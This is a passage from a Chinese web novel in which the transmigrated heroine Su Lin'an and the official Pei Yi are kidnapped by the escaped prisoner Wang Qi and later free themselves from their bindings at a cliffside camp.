甚至有一种“就得他用”的感觉。
她毫不犹豫拿下。
待小二仔细将其包装好后,小心揣着出了门。
而直到此刻,那道偷窥的视线还是没有消失。
阴森、冷漠、暗含杀意。
苏蔺安咽了咽喉,抱紧手中的砚台迅速上了马车。
是谁?
是先前追杀原身的那批人找到自己了吗?
她不自觉握紧手中的砚台,小声地令车夫快一些,再快一些。
到达裴翊的院子后,更是一刻都不愿意在外面停留,言明身份后便往男人现下所处的书房去。
心脏扑通扑通跳,耳畔什么都听不见,只有呼啸而过的风声。
苏蔺安承认,她害怕,非常害怕。
才拿到第一笔积分,回到现代的事眼见着才有了些曙光,她不想就这样白白丢了性命。
小厮说,裴翊还在议事。
天空阴沉沉的,黑云遮住了所有的阳光,连带着空气中的气氛都变得压抑。
第一场夏雨要来了。
她走到书房的廊下,屋里的声音模模糊糊传出来。
“慈山官员对大人近日之举的不满越来越明显了。”
“前几回的钦差大臣不是无功而返便是暴死在这,大人千万小心。”
苏蔺安一凛,下意识去看屋内男人的反应。
裴翊靠在椅上,下巴微抬,眼皮垂下,慢条斯理地撕碎手中的信纸。
“垂死挣扎,何须在意?”他悠悠道,神色不屑,浑然没有将这件事放在心上。
话落,里头的男人倏然抬眼。
目光褪去先前的冷淡,转而是一种淡淡的疑惑。
苏蔺安捏住手中的砚台,视线往书房门口瞥了瞥。
须臾后,裴翊打断下首幕僚,“今日便到这。”
眼见那人还有接着补充的趋势。
下一刻,裴翊眼风一扫,幕僚便闭了嘴,书房里的人鱼贯而出。
苏蔺安终于进了裴翊的书房。
她深吸口气,在心中整理好思绪。
旋即假装不经意间把手中的砚台放在裴翊身前的木桌上,又顺手往里一推,送到了裴翊的眼前。
“?”
苏蔺安轻声道:“今日出街游玩,看到这方砚台,觉得很适合你。”
裴翊微不可查地点点头,食指按在额侧,示意她继续。
“便买下来想送给你......”苏蔺安声音愈发低,念到最后一个字时堪称蚊吟。
屋内,落针可闻。
她小心地朝木桌后看去。
裴翊还是先前那幅表情,面上带着淡淡的倦色,像是根本没听见方才那番话般。
就在苏蔺安掀唇想再说一遍时。
裴翊像是才反应过来一般,坐直了身子。
他的手很好看,骨节分明,手指修长。
所以连拆开砚台包装的动作也极赏心悦目。
白皙的长指耐心而细致地解开绳结,轻轻掀开油纸。
藏在里头的砚台出现。
盯着砚台片刻。裴翊谨慎地将其从油纸中取出,拇指不自觉摩挲着竹纹。
他轻笑一声,“怎么突然想起来给我送东西。”
真正的理由注定无法说出口。
苏蔺安跟着他笑了两声也没想出来合理的回复。
半响,选择略过这个问题。
“你喜欢这个礼物吗?”
“自然喜欢。”
裴翊视线依旧停留在那方砚台。
砚底是上好的和田玉,触手温润,壁上银线画出的竹林栩栩如生,这样的制品根本不是苏蔺安口中的街边小铺所能收集到的珍品。
当然,也不是大病前的那个苏蔺安会欣赏的物件。
他食指轻轻按在凸起的银线上,面上不显,微微一笑。
“多谢。”
苏蔺安还沉浸在送对礼物的喜悦中,听到这话赶忙摆手,“客气客气,这东西我留着也没用,不给你便浪费了。”
须臾后,她转而提起另一件事,“最近可有那批人的动静?”
“那批人?”裴翊复述一遍,眼底疑惑。
“京城。”苏蔺安不
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知道追杀自己的人究竟是谁,只能用这些个代词指认。
“无。”裴翊放下砚台,严肃起来,“怎么?”
纠结良久,苏蔺安还是将奇物阁之事托出:“我总感觉不对。”
但她也没忘记就自己一人有那样的感受,“但也可能是昨夜没休息好,小二与流汐都未察觉。”
裴翊沉默须臾,食指在手边的青瓷杯转过一圈。
“我会调查此事。”顿了顿,“既如此,近日少出院子。”
苏蔺安点点头。
该送的东西送了,该讲的话也说了,她适时告辞,“那我便先回去了......”
“让暮安送你。”
苏蔺安迟疑地轻声道:“我还要去四娘那一趟,昨夜她与我一同喝醉,会不会太过麻烦。”
这是早就定下的行程,她不想就此改变。
裴翊心意未变,还是坚持让暮安相送。
她接受后,如上次般叮嘱了句注意后便放苏蔺安离去。
四娘倒只是睡醒时头痛了些,睡了个回笼觉后便好了。
她现下头疼于另一件事。
柳大哥死后,王棋接管店铺,对待客户态度傲慢又敷衍,送出去的货物更是好几次货不对板,以次充好。
铺内售出的制品出了差错也一概不管。
导致原本在慈山还颇有名气的小铁铺现在已经无人问津,旁人道起来,也没什么好话。
自然也没几个客户。
四娘想靠这个铺子维持生计便成了个大问题。
“四娘现下都卖些什么?”苏蔺安问。
“与先前一样,还是那些刀具。”
她沉思良久。
要扭转王棋先前在人们心中打下的坏印象,恐怕不是件容易事。
“四娘不若换个产品?”苏蔺安补充,“刀具危险,利润又不高。”
“蔺安可有推荐?”
苏蔺安记起白日里在奇物阁中见到的香炉。
小巧精致,售价更是高达二十两白银。
足够一户百姓四五年的吃穿用度。
她将香炉之事说出。
“当真有人花二十两白银就为了一个香炉?”四娘不可置信。
苏蔺安点点头,“小二还说了,那香炉店内销量最高,一年能卖出几百个。”
四娘下意识吸气。
她接着说起奇物阁里那些华而不实却个个要价恐怖的物件。
缓缓总结:“其实卖什么并不重要。当紧的是要做的精细又好看。”
四娘点点头,理解了她的意思,却又下意识担心。
“可我手艺一般,恐怖卖不出那个价......”
苏蔺安拍拍她的肩,“鸟儿也不是生下来就会飞的,技艺这事,慢慢提升便好。”
“嗯!”
四娘经营的问题解决了一半,向裴翊赔礼的事也大致算是完成了。
苏蔺安心情不错地往铁匠铺门口走去,那股熟悉的血腥味却再次出现。
心底不自觉染上些许慌乱,胳膊也冒出鸡皮疙瘩。
这个人,是默默跟踪自己到了这里吗?
她加快脚步往外走,准备快速逃到马车上。
却在下一刻,见到了那气味的来源。
一个完全不可能出现于此的人。
王棋。
他还穿着狱房的囚衣,灰白布料上印着星星点点已经发暗的血迹,一双眸子毫不掩饰计谋得逞的兴奋与强烈的恨意。
手边,提着一把落地的长刀。
9. 越狱
王棋竟然越狱了!
苏蔺安向前的脚步停下,一时间竟愣在原地。
片刻后,她迅速反应过来,“王棋,你现下回衙门自首还会从轻处罚,若是被抓回去,便只有死路一条了。”
但王棋却根本没有预想中的害怕,反倒朝她阴森一笑,“讼师说的好像我原本有活路一般。”
他上前一步,“不过,死之前能有如鑫和讼师与我作伴,小民的黄泉路也算是蓬荜生辉了!”
他这意思分明是死之前要拉她与四娘当垫背!
苏蔺安额角渗出细密的冷汗,下意识往后退。
她知道,王棋这番话大概率就是真心的,她不敢赌一个将死之人的良心。
“王棋,你知道的,我不是一般讼师。”望着面前神情癫狂的王棋,苏蔺安用力掐住手心,逼自己冷静下来。
现下必最重要的事便是稳住他。
见王棋投来疑惑的目光,苏蔺安便知晓这是上钩了,她在心底给自己打气。
“我可以帮四娘拿回铺子,自然也可以助你免除刑罚活下来。”苏蔺安舔了舔干涩的嘴唇,循循善诱。
见王棋面色终于松动,她幅度极小地接着向后接连退步,狠了狠心,抛出最后一个诱饵:
“你确定还要赴死吗?”
王棋没反应,似站在原地思考她话语的真伪。
苏蔺安趁这时间又大步往后退。
直到身后再无去路,脊背贴上铁匠铺冷硬的大门。
她深深吸了口气,抖着手扶上铺门的把手。
只要现在趁王棋不注意开了门,她躲回铁铺里面,他纵是有多好的工具都拿不论她与四娘怎样。
而巷口的暮安见她迟迟不出现,想来也会意识到不对,待他带人进来她们便可脱困......
“蔺安,你站在门口做什么呢?”
就在苏蔺安认为计划一切顺利时,铁铺里的四娘倏然拉开门,好奇地问。
......
世界一下便安静了。
空气像是被吸干,苏蔺安动作滞住,无法呼吸。
她缓慢地掀起眼皮,一寸、一寸地抬起目光朝前方看去。
果不其然。
王棋被四娘这句疑问拉回了思绪,正直直地望向这边,看清她所处的位置,一下便明白了。
“呵。”他轻嗤,“我还说讼师何时这么好心了。”
眼见着王棋已经往她们的方向走来,苏蔺安迅速将四娘往铁铺里推。
她是定然跑不掉了,但四娘还没出来,可以躲在铺子待他们走后通风报信。
“王,王棋?”四娘怔住,看着昨日当着自己面被小吏押入牢房的王棋,今日又重新出现,一时间有些不确定。
“如鑫,一日不见,如隔三秋啊。”王棋边笑,边快步走来。
“啊——”
一声尖叫响彻小巷。
紧接着,一阵混乱的脚步声由轻至重,是暮安察觉不对带着侍从赶来了!
看着那些少说也有二三十人的侍从,苏蔺安一直绷紧的心弦才骤然得到放松的空隙,她猛然喘出口气,紧张的情绪稍稍缓解。
这些人对付一个王棋,应当足够了。
暮安上前一步,“夫人,这几人自您抵达慈山起便被大人派来暗中保护您。您跟随他们先行一步,我们留在这解决王棋。”
苏蔺安现下才知晓裴翊竟一直派人暗中保护她,但现下已然顾不上那么多。
她点点头,听从暮安的指挥,拉上惊魂未定的四娘准备转头就跑。
不料下一刻,王棋的背后竟同时走出来许多人高马大的黑衣男子,气势汹汹拦在她们跟前。
仔细数下来甚至比暮安带来的侍从还要多。
“讼师,你不会真的以为我蠢到会独自一人来见你们吧。”王棋语气嘲讽。
苏蔺安狠狠皱紧了眉,下意识望向暮安。
但两拨人已瞬间扭打起来。
而这些黑衣男子的目标似乎不是她们,他们专注于与暮安以及那群侍从纠缠。
只有王棋还在虎视眈眈地注视着她们。
苏蔺安没有犹豫的时间,握紧四娘的手,认真观察着现下混乱的画面。
下一刻,她瞅准王棋被暮安缠住的间隙,立刻带着四娘往巷子外冲。
巷中其他的邻里也早已被这样从未见过的场景吓作一团。
尖叫声,陶瓷破碎声,急切催促声,孩童哭闹声以及不停的风声都混作一团。
苏蔺安不顾一切地往外跑。
到了大街便好了,街上有官员巡逻,有无数行人,王棋不能拿她们怎样。
嘴里已经能能隐隐尝到血腥味,耳边听不见一点声,四肢又重又累。
平日里短短的小巷,眼下如条看不见尽头的隧道般。
但苏蔺安努力忽视身上的不适,狠狠咬唇硬着头皮往前跑。
不知过了多久,巷子口终于出现在眼前。
一旁还停着她来时乘坐的马车。
苏蔺安眸色一亮。
恰好,巷口正走过去一人。
她激动地喊住那人,抓住生的希望。
那路人转过头来,眼神闪过不解。
随即眼神往她身后望去,看清在后面追赶的王棋,点点头表示了解她现下的处境。
苏蔺安一喜,忍不住勾出个笑容让他去外头喊官府。
下一息,那路人便从身后拿出一个小袋子,“唰”,将里面的粉末撒到苏蔺安与四娘的眼前。
她顿感不妙,想拿衣袖挡住,却根本来不及反应。
下一刻,大脑宕机,眼前一片黑,浑身都被卸了力,腿一软,连意识都陷入昏沉。
“咚!”
整个人径直摔在地上。
太阳穴像是被生生撕裂般泛着疼,耳畔听到的最后一句话是。
“我就说得留个人看着这儿吧。”
-
“大人,属下办事不利,求大人责罚。”暮安跪地,头磕在青黑地面,蓝色衣裳早已沾满了血迹。
出乎意料的是,平日对待下人堪称温和的裴翊却没有如往常般命暮安起身。
“现下说这些有什么用。”
暮安死死磕着脑袋,一言不发。
“将方才之事一字一字念与我听。”裴翊面色阴沉,双指攥紧手中的瓷盏,指尖隐隐泛着白。
暮安不敢漏下敷衍,将每一个细节都如实托出。
越听,男人面色愈发不善。
苏蔺安先前与他说起的那道暗中窥伺的视线,估计就是王棋。
先是越狱,接着在偌大慈山精准碰上苏蔺安所处的位置,一路跟踪到铁铺,还凭空冒出来一堆人为他拖延侍从的时间。
甚至那些黑衣男子身法不比他为苏蔺安准备的人差,唯几个被活捉的也迅速咬舌自尽,连审问的机会都不留。
一个王棋,怎么可能豢养死士。
定然有人在暗中相助。
裴翊倏然露出个意味不明的笑容。
当真是他小瞧了慈山这些人。
报复不到他的头上,便扭头盯上了苏蔺安。
整个慈山,有这个动机、有这个实力帮助王棋的。
他心中有数。
裴翊低声念出几个名字,“即刻封锁这些人的府邸,一个也不许放跑。”
“可曾派人追查王棋的下落?”
“王棋带着夫人与柳如鑫往南去了。”
裴翊点点头,旋即绕开面前的长桌,大步流星走出院子。
接过马奴递过来的缰绳,长腿一跨,径直上马。
暮安心底有了个隐隐的猜测,但不确定,“大人这是要去哪?”
“十恶不赦者,当凌迟,满门抄斩。”裴翊盯着前方,语透狠意:“缉拿朝廷重犯。”
暮安迅速跪地,他知晓这个时候若是劝阻裴翊必定落不下什么好,但他做不出看着主子陷入险境的事。
“大人留步,敌在暗,我们在明,现下还不知他们手上还剩多少死士,就此过去,岂不是正中他们下怀。”
但裴翊的决定,从未朝令夕改。
他一挥手,暮安的马也到了跟前,剩下的话不必言明。
“回来再问你罪。”
-
苏蔺安是被泼醒的。
屋内只有一束微弱的光线,而她与四娘被王棋用几根粗绳背对背地绑了起来。
初夏还泛着凉的天气,不知王棋从哪找来一盆带着冰碴的水。
猛地一下从她与四娘的头顶往下倒。<
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p>她迷迷糊糊地勉强睁开半只眼,浑身骨头都在泛着疼,身体发烫,反应比平时慢了许多。
耳朵也像是被罩子盖住了般,什么都听不清。
许是见她不答,王棋气急败坏地捏住她的下巴,嘴巴一张一合,不知在说些什么。
苏蔺安缓慢地眨了眨眼,努力地根据他的口型去理解他究竟说了什么。
好半晌,才看出来王棋说的是“我问你话呢,你听不见吗”。
嘴巴才张开一个小小的缝隙,喉咙便像被灌了刀子般,狠狠发着疼。
她便也懒得回答这人,眼一闭头一歪,假装晕过去,不管王棋使什么法子都不理会。
王棋狠狠往她脸上一呸,自顾自朝外走去。
“废物,醒不来就在这乖乖呆着这辈子都不用醒吧!”
他顺手关上了大门,屋内唯一的光线来源被切断。
重新陷入一片死寂的黑暗。
苏蔺安适应了许久,才后知后觉地发现四娘一直没有动静。
“四娘,四娘?”
她担忧地呼喊。
好在片刻后,四娘低低回应了她,“蔺安......”
背贴着背,即使隔着两套春衣,她也能感受到四娘滚烫的体温。
估计状态比她还差。
苏蔺安不顾嗓子撕裂般的疼痛,一字一句,“四娘,醒醒。”
她顽强地伸出手指,努力碰上四娘的指尖。
“四娘?”
“嗯。”
“你想想铁铺,我们才确定接下来的经营方向,总不能就停在现在,还有等你回家吃饭的姑母......”
“四娘,你别睡。”
“蔺安。”
四娘终于回应了她,声音听起来也比先前精神许多。
苏蔺安用力地将手指点在捆住四娘双手的绳子。
“四娘,我们得逃出去。得先把这个烦人的绳子弄掉才行。”
四娘的脑袋似是点了点。
苏蔺安回想着穿越前在短视频上刷到的绑架自救指南。
王棋绑她们的绳子在皮肤上刺刺的,能感受到边缘布满星星点点的绒毛,应当是麻绳。
苏蔺安依稀记得指南上说,这类绳子易磨断,但也极易伤皮肤。
她狠狠掐了下手指,维持清醒。
伸出手指摸索到身后四娘的绳结。
解结总是比生硬地磨断麻绳要省力且简单得多。
但感受了一番形状,苏蔺安一时间分不清王棋打的是死结还是活结。
“四娘。”
“嗯?”
她决定让自己先成为那只小白鼠。
“你可能碰到我手上的绳结?”
四娘缓缓抬手,“能。”
“你试试,可能解开?”
苏蔺安感受到一股淡淡的热意悬在她的双手上,四娘小心地将手放在捆住她的绳结,循着平日记忆,试着拉动了其中一根。
下一刻,苏蔺安的双手瞬间被捆紧,手腕骤然被缩到一起,皮肉包裹中的骨骼相撞。
疼。
“嘶。”苏蔺安下意识吸气。
四娘立刻惶恐地松手,“对不起,对不起......”
看来解结是行不通了。
苏蔺安道句“无事”,旋即道出麻绳易磨断、但伤皮肤一事。
“而且这法子,必定要耗费不少时间。四娘你可能接受?”
思虑片刻后,四娘低低地应了句:“好。”
苏蔺安照着记忆里将身子往四娘的方向靠了靠,又勉强将身体转了个方向,腕骨的侧边贴着四娘手腕侧处。
她曲起手肘,一下一下地贴着四娘手腕的麻绳上下摩擦起来,向四娘演示。
“原是如此。”
四娘示意知晓后,两人便默契地上下弯曲手肘,让手腕上两根麻绳相互摩擦。
不料还未行动多久,屋子的门便被再次打开,王棋去而复返。
他神情难看的不行,注意到苏蔺安与四娘怪异的姿势后也只是皱了皱眉,随即握住将她们绑在一起的那根麻绳,一把拎起两人。
这是什么意思。
王棋要动手了吗?
苏蔺安抿了抿唇,强忍着不安开口:“你要带我们去哪?”
10. 换人
王棋瞥她一眼,不答。
苏蔺安却精准地从那一刻的眼神里,抓到隐隐不安的情绪。
是有人找到她们了吗?
她与四娘对视一眼,沉寂的心受到鼓舞。
是暮安?还是慈山的官府。
没留给她太多的思考时间,王棋已然攥紧那根粗绳,拖着她与四娘到了屋外。
粗糙又带着湿意的泥路混着小石子隔着裙摆摩擦着苏蔺安的皮肤,本就酸软的身子现下更是增添火辣辣的疼。
但苏蔺安没有注意这个的功夫。
她迅速扭头观察着周围的情况,郁郁葱葱的大树占满了视线,王棋将她们带到了慈山上。
但不清楚具体的位置,也不知前来搭救的人能否顺利地找到她与四娘。
苏蔺安抿抿唇,将路过的每一处景象都认认真真地印在心中。
须臾后,王棋到了停下脚步,像对待什么垃圾般将手上的麻绳一松,苏蔺安一下重心不稳,倒了下去,脸颊贴到泥地上。
王棋也不知是不是转了性,竟还好心地扶起来她俩。
“人,已经带到了。现在可以放我走了吗?”
她后知后觉地抬头望去。
就在她的对面,乌压压地站着一群人,最末尾的是手持长弓的步兵,前一排是坐在战马上的骑兵,而只有一人站在最前面的位置,独率全军。
裴翊。
不是暮安,不是官府,竟是裴翊。
他穿着与平日相同的衣裳,墨衣黑发,英气的眉微微蹙起,坐在威风凛凛的骏马上遥遥与她对视一眼,眸中满是复杂。
“松绑,让她们走过来。”
苏蔺安怔了一瞬。
没想到竟会是裴翊亲自带人出动。
但裴翊这个要求,恐怕正常的绑匪怕都不会同意。
她担忧地朝男人那递过去一个眼神,轻轻摇了摇头。
“呵,丞相大人莫不以为我是傻子?”王棋往身边狠狠吐了波口水,“放了她们,我便是真的没有活路了!”
裴翊眯了眯眸子,神情愈发冷淡,“那你想如何。”
“换人!”王棋一把扯住四娘的脑袋,毫不掩饰自己的恶意,“只能换柳如鑫!”
只能换四娘?
苏蔺安抬眸,一时猜不透王棋究竟想干什么。
暮安立刻站了出来,“我与她换。”
“慢着。”王棋挥挥手,勾起个恶劣的笑容,“我还没说完呢。”
心底那股隐隐的不妙迅速攀升,苏蔺安紧紧盯着王棋,这人必定留了更阴暗的后手。
“只能拿裴丞相换。”
话音刚落,她呼吸滞住。
王棋是故意的。
裴翊从京城带来的人没这么多,身后的士兵定然还有慈山的。
若换,他的安危成了难题,那些士兵也失去将领成为无头苍蝇;若不换,第二日堂堂丞相不顾民众的一顶大帽子便能扣死裴翊。
苏蔺安狠狠皱了眉心,倏然意识到绑架这件事似乎没有表面上这般简单。
几米之外的男人显然也陷入了同样的难题。
暮安第一个跪下,“大人,我们已然落入他们的第一个圈套,万不能主动跳进第二个了!”
幕僚也跟着劝阻:“是啊大人,区区民女,如何能与丞相相提并论。”
裴翊沉默片刻,反问:“你们有更好的解法?”
热火朝天的阵前瞬间沉默,几个人你看我我看你,一言不发。
须臾后,裴翊轻嗤一声,下马,将衣袖中的一方令牌随手递给暮安。
随即,他缓慢而有力地踏出第一步,朝苏蔺安与王棋的方向走来。
表情自然,全然没有受人摆布的难堪与屈辱。
“丞相这是想好了?”
裴翊不咸不淡瞥王棋一眼,“我应你这个条件。”顿了顿,补充:“但,你先把柳娘子送过来。”
王棋又恢复成那恶狠狠的模样,“你又想耍什么招式!”他一把按在苏蔺安的肩头,“别忘了,你的新婚妻子还在我的手上呢!”
裴翊倏然拧紧眉头,语气不复先前的不屑,“松手。你既已知晓她的身份,还有什么不安的。”
苏蔺安心中愈发迷惑。
还有人向王棋透了她的身份。
裴翊自道完那句话后便站在原地不动,冷淡的目光从苏蔺安身上滑过,停顿片刻,两人对上目光后,微不可查地点了点下巴。
旋即视线转到四娘,坚持先让四娘脱离险境。
王棋轻嗤,一把将四娘推了出去。
下一刻,苏蔺安便感觉一股力将自己提了起来,作呕的血腥味瞬间充斥鼻腔。
王棋也在电光火石间提起长刀横亘于她的脖颈上。
稍稍移动一寸,便可割破脆弱的皮肤。
苏蔺安紧张地屏住呼吸,努力保持身体的平衡,生怕呼吸的幅度大了些便触到那刀刃。
“等着我去请你吗,裴丞相?”王棋冷漠的声音从头顶传来。
她遥遥看了眼悬在身前的刀刃,冷光与血色并现,苏蔺安下意识闭上了双眼,心底对王棋的怒意却燃烧得愈来愈旺。
裴翊倒未食言,看着四娘被手下接走后便顺着先前的节奏一步一步朝着他们的方向走去。
只是才走了没几步,便又被王棋喊了停,“转一圈,别想带什么脏东西过来。”
男人照做,展平双臂,缓慢地站在原地转了一圈。
苏蔺安看的清清楚楚,墨衣轻盈,裴翊当真是什么自卫的东西都未携带。
可这样不就正落入王棋身后之人的圈套了吗。
她将脑袋稍稍往后靠,又开始摇头,试图让男人前进的脚步就此停下。
王棋是拿自己当作威胁的筹码,自然不会真的对她下手。
四娘也安全了,裴翊完全可以不过来,再议对策。
但裴翊只是注视着她的动作,脚下步伐却从未停顿。
“裴翊!”苏蔺安情急,直接喊了出来。
须臾后。
“嗯。”已经行至身侧的男人才悠悠应了她。
望着距离脚边的墨色衣摆,苏蔺安耳畔的心跳声愈发炸裂。
仗着裴翊在他手上,王棋命暮安及他身后的士兵不许行动,为他准备一辆马车,将裴翊与苏蔺安绑到车上后,潇洒驾车离去。
而裴翊全程一言不发,对这番行为没提出一点异议。
经过一段摇晃而混乱的路程后,马车才缓缓停下,王棋将苏蔺安与裴翊生硬地从车厢中拖拽下来。
苏蔺安本就因为先前的粉末不适,又经历几个时辰的折磨,现下只感觉浑身都发起了异样的热,额角更是渗出了细汗。
她强忍身体的不快,没露出一丝异样。
王棋将马车开到了山顶,一抬眼便能瞧见几丈外陡然消失的路,竟是在悬崖边上!
苏蔺安下意识往身后扭头。
才转了个角度,发顶便被王棋狠狠攥住。
“讼师我劝你还是别费这个劲了。”
她意识本就昏沉,现下脑袋被骤然拉住,连脖颈都一下被王棋劲道压的弯曲,脑海更是立马糊成了一团,只觉得浑身哪哪都疼,不舒服到了极点。
苏蔺安用力将脑袋撇到一旁,不搭理。
“嘶,你这娘们。”王棋停步,见她这态度不爽地抬起了手,又要动手
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她下意识闭紧了双眼,朝后躲去。
“啧。”淡淡的一个语气词同时打断了她与王棋的动作。
苏蔺安这才迷糊记起,现下与自己一同被绑架的,还有裴翊。
裴翊向前一步,她的脑袋恰好能靠到他带着凉意的胸膛,脑袋清明些许。
苏蔺安悄悄抬眼,印入眼帘的便是男人锋利下颚,以及恰好投来的关心目光。
“你以为现在你还是那个裴丞相吗!”王棋气急败坏。
裴翊分了他个眼神,气定神闲,“怎会。”
不得不说,这种全然不将对方放在眼里的态度着实恼人。
苏蔺安忍不住“扑哧”漏出个笑。
王棋的目光瞬间转移到她的脸上,阴恻恻盯过来。
下一刻,王棋一手掐住她的下巴,用了十成十的力道,“讼师当真貌美,只是脸色实在太差,便让我来为你上点血色吧。”
紧接着他另一只手高高扬起,苏蔺安心底一慌,意识到他要做什么,将将转开脑袋,尽量避开伤害。
但过了许久,都迟迟没能感受到巴掌落下。
她缓缓睁开眼,这才发觉王棋的目光早已不在自己的身上,而是隔着她转向了后头。
“你尽可以试试。”男人冷冽饱含威胁的话语从身后传来。
倒没想到王棋骨子里竟懦弱至此,裴翊一句话后,居然真的慢慢垂下了手。
但眼底还是带着狠意,不服气地留下一句,“我看你还能嚣张到几时。”
苏蔺安狠狠讼了口气。
话落,王棋独自往来时的路上走去,观察裴翊的人可曾追上来。
“何处不适?”裴翊趁此时轻声发问。
脑袋像是被放进了蒸笼,热气不停地往头顶冒,很晕,身上各处没处理的伤又泛着疼。
骤然这样问,苏蔺安竟一下答不出来是具体的哪处不适。
片刻后,才迟疑地说:“哪都疼,很热。”
话落,她缓缓回头。
男人被她的话卡住,薄唇张了又张,一个字都没说出来。
两人对视良久,苏蔺安也呆呆地没憋出一句话。
裴翊才移开了目光,不知是不是她的错觉,男人那刻的目光竟贴近于一种无奈。
旋即,她看着裴翊的视线转为认真,他视线上上下下地专注将她身体扫视一遍后。
“回去后,先住我的院......”
“二位倒是有兴致,眼下还互诉上衷肠了?”
裴翊的话还没说完,被便突然赶回来的王棋打断。
苏蔺安咬了咬唇,保持先前不理会的态度;身后的裴翊更不可能接王棋这话,依旧是那幅气人的模样,连个眼神都没分过去。
但王棋这次却没有先前的平静。
一阵从未出现过的、粗犷的喘气声倏然出现。
她犹豫地朝王棋看去。
那人本就阴沉的面色现下增添了一种气到极致的暗红,身侧的收也逐渐攥成了一个拳头。
王棋视线寸步不离地盯着裴翊,“可是我先前片刻的糊涂让丞相误会了自己现下的处境?”
话落,他迈着沉沉的脚步,一下、一下地朝男人走去。
苏蔺安猛然涌上一股不安的情绪,王棋这副模样,不像是先前的假模假式。
“裴翊!”她来不及回头查看裴翊的反应,下意识大喊提醒。
然而下一刻,王棋已然到达了他们的跟前,紧接着,带着先前被裴翊一句话吓到的窝囊与现下的怒火,将身侧的拳头重重朝裴翊的方向砸去。
苏蔺安堪堪回头。
一抹淡淡的鲜红出现在裴翊的嘴角。
11. 脆弱
夜,渐渐深了。
王棋在朝裴翊打下那拳后撒了火气后,便自顾自走到一旁,很快就在树下眯着眼睡着了。
苏蔺安蹙着眉,忍住身上的疼痛,轻轻朝后挪了挪。
“裴翊?”
“嗯?”
裴翊的声音听着倒是没什么变化,与先前一般,淡定自如。
苏蔺安忍不住回头,王棋是将他们背对背绑着的,她只能靠余光观察到男人嘴角的那抹鲜红不知何时已经氧化成暗淡的棕红,伤口周围稍稍肿起,裴翊眼皮垂下,黑睫根根分明,他侧过头,一双眸子寡淡地望过来。
即便是现在这样狼狈的情况,他都从未透出一丝慌乱,那处伤口不掩俊气,反倒为冷峻的面容增添一分脆弱,分外迷人。
苏蔺安声音轻轻的,像睡前的呢喃,“嘴角还疼吗?”
夜风自远处而来,将裴翊长发卷至身后,一缕墨黑的发丝随着风动恰好吹到了她的脸颊。
苏蔺安又闻到那股熟悉的书卷气,痒痒的。
裴翊眸中闪过一丝讶然,抿着唇,并未回答她这个话题,只是目光逐渐变得复杂。
苏蔺安坚持地又问了一遍,“痛吗?”
沉默在两人间化开。
裴翊移开落在女人身上的视线,喉结滑动,身侧食指无意识蜷了蜷。
“早不疼了。”
良久,他才回,声音有些涩。
苏蔺安堪堪安下半颗心,点头,“那便......”
还未说话,一直没有恢复好的嗓子倏然泛上一股痒意,她猛烈地咳嗽起来,头顶摇摇欲坠的发簪终于坚持不住,“哒”掉了下去。
几丈外休憩的王棋被这动静吵到,不耐烦地“啧”了一声。
她下意识深深吸了口气,努力忽视喉中的异样,一张脸生生憋的通红。
直到看见王棋并未被这番动静真正吵醒才将将松了口气。
“苏蔺安。”
裴翊突然朝她靠了靠,修长的手指一伸,轻易便碰到了苏蔺安被捆住的双手,他食指轻轻点在那手心中。
一点熟悉的凉意落在她的掌中,苏蔺安顿了顿,胸口突然有些闷。
“你想说什么?写给我。”
裴翊的动作伴随着他低沉的话语而来,他食指勾起苏蔺安的指尖,而自己则压低了掌心。
下一刻,她的手指被带着,触碰到男人温热的手心。
苏蔺安下意识收回了手指。
不料下一刻裴翊竟径直伸来另只手,如先前那般挽住她的食指,再次将其带到他的掌心。
她垂眸吁气,缓慢地在男人掌心轻轻留下两字,“没事”。
“得先把绳子解开。”裴翊说。
思虑片刻,苏蔺安将先前告诉四娘的又重新写了一遍给他。
不曾想,裴翊径直拒绝了这个提议,“你伤的够多了。”
可除此之外,她别无他法。更何况,若是为了脱困,手腕受点伤也在苏蔺安的接受范围之内。
她抬手,又准备在裴翊的手心留言,示意她愿意如此。
不料下一刻,写字的那根食指骤然被上面的手掌握住,轻轻的,像一片柔软的棉花温和地包裹住她,同时,也让她无法再于他的掌心写下任何言语。
苏蔺安下意识蜷了蜷手指,想收回来。
裴翊立即松了手,带着歉意的声音同时传来,“抱歉。”
她摇摇头,示意无碍。
“看到地上的簪子了吗?”
苏蔺安环视一圈,原来是她方才咳嗽时掉下去的,银簪在漆黑的夜里分外显眼,同时,细长的簪尾也分明明显。
不必裴翊点明,她便清楚了他的想法。
但簪子离他们大概有几寸远,平日伸手就能拿到的距离,现下成了个大难题。
苏蔺安伸出食指在男人掌心一笔一划写下几字。
“拿不到。”
裴翊沉思片刻,“慢些移过去,莫引王棋注意。”
苏蔺安轻轻点了点头。
两人缓慢地朝簪子方向挪动,片刻后,她身形较小,手也离地面近,率先拿到了簪子。
但苏蔺安早因身上的伤口与莫名的发热失了力气,思虑片刻后,她将簪子转交给裴翊。
男人沉稳接过,温热的手谨慎在她的手腕附近摸索,确认绳结的位置以及大小。
接下来要做什么不言而喻。
一阵沉默。
苏蔺安明知以裴翊严谨的性格,用力过头刺伤自己的可能性很小,却还是忍不住担忧。
许久后,她垂眼,“你动手吧。”
裴翊似是看透的她的担心,倏然出声安慰她:“放心。”
短短的两个字,却已是他能做到的极限。
旋即,他抬手,精准利落地将簪子刺入捆住苏蔺安双手的绳结,下一刻困住她许久的麻绳断裂,双手恢复自由。
苏蔺安长长松了口气,“多谢。”便想伸手接过裴翊手中的银簪,为他脱困。
“先给你解绑。”不料男人收好了银簪,悠悠道:“你现在的力气恐怕也刺不开这麻绳。”
裴翊倒是说到点上。
她歉疚一笑,将身上一圈接着一圈的麻绳解开,最后将捆住二人的那条粗麻绳狠狠掷到泥地。
她小心地站直,将将放松了番僵硬的身体后重新蹲下,仔细观察了下王棋的绳结,抽出其中一根麻绳,给裴翊也松了绑。
裴翊倒并未急着去掉身上的麻绳,他慢条斯理地将手上东西收入袖中后才徐徐褪去身上的桎梏。
夜色太暗,苏蔺安没看清是什么东西。
下一刻,裴翊倏然似笑非笑地抬头望着她的眼,认真且温柔道:“辛苦。”
话落,他身后的太阳也升起来了。
原来一个夜晚这么快。
初升的阳光缓缓照来,给裴翊身上镀上一层金光,也让苏蔺安看清了他此刻的表情,先前温和的假面不复存在,现在的裴翊生动且真实。
她摇了摇头,也不再与他虚与委蛇,“接下来怎么办?”
“你留此休整,我去看看附近可有暮安留下的暗号。”裴翊观察了番苏蔺安的状态,道。
许是骤然放松下来的原因,苏蔺安现在脑门又晕又烫,浑身发酸,先前没有感受到的不适竟一股脑地涌了上来。
